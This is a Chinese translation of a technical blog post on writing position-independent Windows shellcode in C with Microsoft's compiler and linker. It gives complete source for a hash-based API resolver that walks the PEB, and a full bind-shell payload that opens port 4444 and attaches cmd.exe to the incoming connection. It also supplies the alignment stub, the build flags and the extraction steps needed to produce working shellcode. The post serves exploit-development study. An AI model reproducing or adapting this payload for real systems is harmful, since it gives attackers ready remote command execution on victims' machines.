引言
我得首先承认,编写shellcode真是让人郁闷极了。虽然可以利用些小技巧来减小payload的大小,但编写shellcode仍然会错误百出,难以维护。例如,我发现跟踪x86中寄存器的分配,确保x86_64栈的对齐真的是件蛋疼的事。最终我还是腻了,但回头想想:为啥就不能用C写shellcode payload,让编译器和链接器来接管处理剩下的活呢?这样的话,只需写一次payload,就能运用到任何的体系结构上————像x86、x86_64以及ARM这些。同时,也可以获得如下的好处:
1. 运用静态分析工具分析payload 2. 进行单元测试 3. 利用编译器、链接器来优化payload 4. 编译器在速度、大小方面的优化比你在行 5. 利用Visual Studio来写payload,智能化万岁!
考虑到已经写了许多Windows下的shellcode,我决定挑战一下仅用微软工具来生成位置无关的shellcode。可最基本的问题是,微软的C编译器cl.exe无法生成位置无关的代码(除了面向Itanium的Visual C++编译器)。终究,我们需要依赖C代码的技巧和一些精心配置的编译器、链接器选项来完成任务。
Shellcode的根本
编写shellcode时,无论是用C还是汇编,以下是必须要注意的地方:
1、必须位置无关
多数情况下,你无法提前知晓你的shellcode被加载到何处。所以,所有的分支指令以及那些对内存解引用的指令,都必须相对于加载的基址得以执行。gcc编译器有生成位置独立代码的选项,但很不幸,微软的编译器没有。
2、Payload需要自己解析外部引用
如果想要payload做些有用的事,就需要调用Win32 API函数。一般在可执行文件中,对外部符号的引用通过这样的方式得到:要么是加载器启动时遍历导入表获取的,要么就是运行时通过GetProcAddress动态获取。而Shellcode既不能被加载器加载,也不能调用GetProcAddress,因为它压根不知道kernel32!GetProcAddress的地址,典型的先有鸡还是先有蛋的难题啊。
为了获取到库函数的地址,shellcode只能靠自己。在shellcode中,典型的解决方法是:某函数以32位的模块hash和函数名hash作为形参,获取到PEB(进程环境块)地址,遍历已加载模块的链表,扫描每个模块的导出函数表,对每个函数名进行hash,并同提供的hash进行比对,如果匹配找到了,那么通过加载模块的基址加上RVA即可获取函数地址。很显然,这里为了节省篇幅,我省略了该过程的很多细节,不过这些已经被广泛的使用(如Metasploit),也有很好的文档说明。
3、Payload需要处理好栈和寄存器的状态,及时的保存、恢复
这些在我们用C写payload时,就由编译器自动的完成了。
用C实现的GetProcAddressWithHash函数
上面提到的下载中,GetProcAddressWithHash函数用于获取Win32 API导出函数的地址,由汇编版的Metasploit block_api调整而来:
#include <windows.h>
#include <winternl.h>
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
// necessary to get the PEB.Ldr address
PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit( 0x00006B1B );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
从上到下,有几点需要注意:
1. 我定义了ROTR32宏
Metasploit版本的实现中使用了一个循环右移hash函数,可在C中没有循环右移的运算符。有几个循环右移的编译器指令,但无法在不同的处理器体系结构中保持一致。ROTR32宏定义利用了C语言中可用的逻辑运算符实现了循环右移的功能。更酷的是,编译器会晓得该宏实现循环右移的操作,并将其编译成单条循环右移汇编指令。真是太棒了!
2. 我重定义了结构体
这两个结构体在winternl.h中都有定义,但微软的公开定义不完整,所以我按照自己所需进行了重定义。
3. 根据所针对的处理器体系结构选择不同的方法来获取PEB地址
PEB地址的获取是获取导出函数地址的第一步。PEB是个结构体,它包含了几个指向进程已加载模块的指针。在x86和x86_64中,PEB地址可分别通过解引用fs、gs段寄存器的某个偏移获取。在ARM上,通过读取系统控制处理器(CP15)中特定的寄存器获取。幸运的是,编译器内置了对每个处理器体系结构的处理。不管怎样,编译器无法生成正确的ARM汇编指令,所以我以不合常规的方式对指令进行了调整。
用C实现基本的Payload
这里我用一个简单的bind shell payload为例,下面是我用C的实现:
#define WIN32_LEAN_AND_MEAN
#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'
#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#define BIND_PORT 4444
#define HTONS(x) ( ( (( (USHORT)(x) ) >> 8 ) & 0xff) | ((( (USHORT)(x) ) & 0xff) << 8) )
// Redefine Win32 function signatures. This is necessary because the output
// of GetProcAddressWithHash is cast as a function pointer. Also, this makes
// working with these functions a joy in Visual Studio with Intellisense.
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
_In_z_ LPTSTR lpFileName
);
typedef int (WINAPI *FuncWsaStartup) (
_In_ WORD wVersionRequested,
_Out_ LPWSADATA lpWSAData
);
typedef SOCKET (WINAPI *FuncWsaSocketA) (
_In_ int af,
_In_ int type,
_In_ int protocol,
_In_opt_ LPWSAPROTOCOL_INFO lpProtocolInfo,
_In_ GROUP g,
_In_ DWORD dwFlags
);
typedef int (WINAPI *FuncBind) (
_In_ SOCKET s,
_In_ const struct sockaddr *name,
_In_ int namelen
);
typedef int (WINAPI *FuncListen) (
_In_ SOCKET s,
_In_ int backlog
);
typedef SOCKET (WINAPI *FuncAccept) (
_In_ SOCKET s,
_Out_opt_ struct sockaddr *addr,
_Inout_opt_ int *addrlen
);
typedef int (WINAPI *FuncCloseSocket) (
_In_ SOCKET s
);
typedef BOOL (WINAPI *FuncCreateProcess) (
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
typedef DWORD (WINAPI *FuncWaitForSingleObject) (
_In_ HANDLE hHandle,
_In_ DWORD dwMilliseconds
);
// Write the logic for the primary payload here
// Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
// Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload( VOID )
{
FuncLoadLibraryA MyLoadLibraryA;
FuncWsaStartup MyWSAStartup;
FuncWsaSocketA MyWSASocketA;
FuncBind MyBind;
FuncListen MyListen;
FuncAccept MyAccept;
FuncCloseSocket MyCloseSocket;
FuncCreateProcess MyCreateProcessA;
FuncWaitForSingleObject MyWaitForSingleObject;
WSADATA WSAData;
SOCKET s;
SOCKET AcceptedSocket;
struct sockaddr_in service;
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInformation;
// Strings must be treated as a char array in order to prevent them from being stored in
// an .rdata section. In order to maintain position independence, all data must be stored
// in the same section. Thanks to Nick Harbour for coming up with this technique:
// http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
char cmdline[] = { 'c', 'm', 'd', 0 };
char module[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };
// Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module
SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
#pragma warning( push )
#pragma warning( disable : 4055 ) // Ignore cast warnings
// Should I be validating that these return a valid address? Yes... Meh.
MyLoadLibraryA = (FuncLoadLibraryA) GetProcAddressWithHash( 0x0726774C );
// You must call LoadLibrary on the winsock module before attempting to resolve its exports.
MyLoadLibraryA((LPTSTR) module);
MyWSAStartup = (FuncWsaStartup) GetProcAddressWithHash( 0x006B8029 );
MyWSASocketA = (FuncWsaSocketA) GetProcAddressWithHash( 0xE0DF0FEA );
MyBind = (FuncBind) GetProcAddressWithHash( 0x6737DBC2 );
MyListen = (FuncListen) GetProcAddressWithHash( 0xFF38E9B7 );
MyAccept = (FuncAccept) GetProcAddressWithHash( 0xE13BEC74 );
MyCloseSocket = (FuncCloseSocket) GetProcAddressWithHash( 0x614D6E75 );
MyCreateProcessA = (FuncCreateProcess) GetProcAddressWithHash( 0x863FCC79 );
MyWaitForSingleObject = (FuncWaitForSingleObject) GetProcAddressWithHash( 0x601D8708 );
#pragma warning( pop )
MyWSAStartup( MAKEWORD( 2, 2 ), &WSAData );
s = MyWSASocketA( AF_INET, SOCK_STREAM, 0, NULL, 0, 0 );
service.sin_family = AF_INET;
service.sin_addr.s_addr = 0; // Bind to 0.0.0.0
service.sin_port = HTONS( BIND_PORT );
MyBind( s, (SOCKADDR *) &service, sizeof(service) );
MyListen( s, 0 );
AcceptedSocket = MyAccept( s, NULL, NULL );
MyCloseSocket( s );
StartupInfo.hStdError = (HANDLE) AcceptedSocket;
StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.cb = 68;
MyCreateProcessA( 0, (LPTSTR) cmdline, 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
MyWaitForSingleObject( ProcessInformation.hProcess, INFINITE );
}
写payload时,有几点我需要提醒一下,以便满足位置无关代码的需求:
1. 我把HTONS定义成了宏
将其定义为宏,相对于调用ws2_32.dll!htons会更简单一点。此外,HTONS本身所做的就是将USHORT从主机序转化为网络序,所以定义为宏会更合适点。
2. 另定义了Win32 API函数
这是必须的,因为GetProcAddressWithHash的调用需要转换为函数指针。此外,在Visual Studio中调用这些函数指针就和调用普通的Win32函数一样方便。这是用汇编编写时的边猜测、边检查所不能比的。
3. ExecutePayload函数实现了bind shell的基本逻辑功能
通常都需要调用main函数。我所遇到的一个问题就是,当链接器发现main函数时,就会链接C运行库。很明显,shellcode不应该也没必要用C运行库。所以,将入口点命名为main之外的名称,并显式地告诉链接器入口点函数,以免链接了C运行时库。
4. 将”cmd”和”ws2_32.dll”显式地声明为null结尾的字符数组
该方法首先由Nick Harbour提出,使得编译器在栈区保存字符串。默认地,字符串存储在二进制文件的.rdata段中,任何对这些的字符的引用都在可执行文件中进行了重定位。将字符串存放在栈区,使得引用做到了位置无关。
5. SecureZeroMemory用于初始化栈区变量
SecureZeroMemory功能和memset一样,是内联函数,所以省得我花力气去获取memset的地址了。
6. Payload中剩余部分就是一般的C了,只不过有点恶意而已。
确保64位Shellcode中的栈对齐
32位体系结构(如x86和ARMv7)要求函数调用时栈上4字节对齐。Shellcode以4字节对齐这一点是可以得到保证的。而64位的shellcode,需要16字节的栈对齐。这是由使用128位XMM寄存器所决定的。已写过64位shellcode的朋友可能经历过调用Win32函数时因指令使用了XMM寄存器而crash的情况,这正是栈没有对齐的缘故。
可执行文件加载时在C运行库初始化期间得到了对齐,而shellcode就没这么幸运了。所以我写了一小段汇编来确保shellcode在64位机器上能够正确的栈对齐。在Visual Studio编译前,我将此shellcode用mI64进行了汇编,并把所得目标文件作为链接的一部分。
下面是对齐的实现代码:
EXTRN ExecutePayload:PROC PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function ; to be called as an extern in our C code. _TEXT SEGMENT ; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior ; to calling the entry point of the payload. This is necessary because 64-bit functions ; in Windows assume that they were called with 16-byte stack alignment. When amd64 ; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example, ; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely ; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte) ; alignment. AlignRSP PROC push rsi ; Preserve RSI since we're stomping on it mov rsi, rsp ; Save the value of RSP so it can be restored and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes sub rsp, 020h ; Allocate homing space for ExecutePayload call ExecutePayload ; Call the entry point of the payload mov rsp, rsi ; Restore the original value of RSP pop rsi ; Restore RSI ret ; Return to caller AlignRSP ENDP _TEXT ENDS END
在这里,保存了原始栈值,将栈指针RSP进行与操作,以便获得16字节对齐,分配空间,然后调用原来的入口函数ExecutePayload。
还用C写了一个小的函数来调用AlignRSP:
#if defined(_WIN64)
extern VOID AlignRSP( VOID );
VOID Begin( VOID )
{
// Call the ASM stub that will guarantee 16-byte stack alignment.
// The stub will then call the ExecutePayload.
AlignRSP();
}
#endif
这个函数将作为链接器指定的入口函数,稍后我来简单的解释下为何该函数是必须的。
编译Shellcode
在Visual Studio 2012项目中使用如下的编译器命令行编译选项
/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os
这里将每个选项都解释一下,它们影响着生成的shellcode:
/GS-: 禁用栈区缓冲溢出检查。如果开启了,会调用外部的栈区处理函数,破坏了shellcode的位置无关性。
/TC: 告诉编译器将所有文件当作C源码文件。该选项的隐含意思是所有的局部变量都要定义在函数的开头,否则,编译时会出错。
/GL:对程序进行整体优化。该选项告诉链接器(通过/LTGC选项)在函数调用间进行优化。这里我想对shellcode进行完全的优化。
/W4:开启最高的告警等级。这是好的习惯。
/O1: 获取较小而非快的代码,这正是shellcode的理想情况。
/FA: 输出汇编列表文件。这不是必须的,我比较喜欢对编译器生成的汇编代码进行验证。
/Zl: 从目标文件中去除默认的C运行库,这是告诉链接器不要链接C运行库。
/Os: 另一种让编译器生成小代码的方式。
Shellcode的链接
下面的链接器(linker.exe)选项分别用于x86/ARM和x86_64:
/LTCG /ENTRY:"ExecutePayload" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB
/LTCG "x64\Release\\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB
这里将每个选项都来解释一下,它们影响着生成的shellcode。
/LTCG:开启链接器的全部优化功能。编译器在函数间调用优化方面几乎不起作用,这是因为编译器是以函数为基础的。所以,链接器就很适合进行函数间调用的优化,因为它处理所有由编译器生成的目标文件。
/ENTRY: 指定文件的入口点。在x86和ARM中就是实现bind shell逻辑的ExecutePayload函数。而在x86_64中,则是Begin函数,它调用AlignRSP函数进行栈对齐操作。它之所以是必须的,是因为最终要生成shellcode, 我们不得不通过/ORDER显式地设置链接顺序。而在微软的链接器中是不允许你为外部函数指定链接顺序的。为了解决该问题,我简单的将AlignRSP进行了封装。Begin作为链接的第一个函数。这样,它就是shellcode中第一个调用的。
/OPT: REF:清除那些从未使用的函数、数据。我们希望shellcode越小越好。通过该选项就可以通过清除无用的函数、数据来减小shellcode大小。
/SAFESEH:NO:不生成SafeSEH处理程序。Shellcode没有必要注册异常处理。
/SUBSYSTEM:CONSOLE:只要shellcode能运行,是啥子系统就无所谓了。设置成“CONSOLE”,可以利用命令行进行测试。
/MAP: 生成map文件。该文件用于获取shellcode的大小。
/ORDER:因为要生成shellcode,所以函数链接的顺序就尤为重要。起初我以为入口点函数会是第一个链接的。但并不是这样的。/ORDER选项指定了一个包含函数链接顺序的文件。你会发现文件中列表的第一个就是入口点函数。
/OPT:ICF:删除冗余的函数。为可选项。
/NODEFAULTLIB: 显式的告诉链接器在解析外部引用时,不要使用默认的库。如果你在代码中有外部引用,该选项就非常有用了。 链接器会抛出错误,引起你的注意。
提取Shellcode
代码编译、链接之后,最后一步就是从exe文件中提取出shellcode了。这需要一个解析PE文件的工具,从代码段中提取出相关字节。 方便的是,Get-PEHeader已经解决了此问题。要说明的一点是如果你要提取出整个的代码段,剩下的会被0填充掉。所以我写了另外一个脚本来解析map文件,它包含了代码段中的实际长度。
如果大伙喜欢分析PE文件,好好的分析一下所生成的exe文件真的很值得。仅包含代码段,可选头的数据目录中没有任何的数据。这正是我所追寻的——没有任何重定位,额外的节或者导入表的二进制文件。
编译PIC_Binshell
提供的PIC_Bindshell.zip中有个Visual Studio 2012项目,在VS2012 Express和旗舰版中测试通过。在Visual Studio中加载sln文件,选择相应的体系结构,然后编译。输出一个exe文件和一个shellcode payload文件。
Visual Studio 2012的Express版本不支持对ARM的编译。如果你是第一次编译ARM,会出现如下的错误:
C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.ARM.v110.targets(36,5): error MSB8022: Compiling Desktop applications for the ARM platform is not supported.
从“C:\Program Files(x86)\Microsoft Visual Studio 11.0\VC\includecrtdefs.h”中删除下面一行:
#error Compiling Desktop applications for the ARM platform is not supported.
删除这些行,重启Visual Studio,就解决了。
写在最后
对微软编译器、链接器的协同工作有个深刻的理解能帮我们用C写出完全优化的Windows Shellcode,同时能够支持任意的处理器架构。但这并不是说你就没有必要去深刻理解汇编语言。只是我们没必要浪费时间一点点的写大量的汇编代码。同时我也相信编译器有一天会胜过大脑的。
对了,我的64位shellcode中用到了XMM寄存器,你用了吗?
来源声明:本文来自exploit-monday的博文《Writing Optimized Windows Shellcode in C》,由IDF实验室徐文博翻译。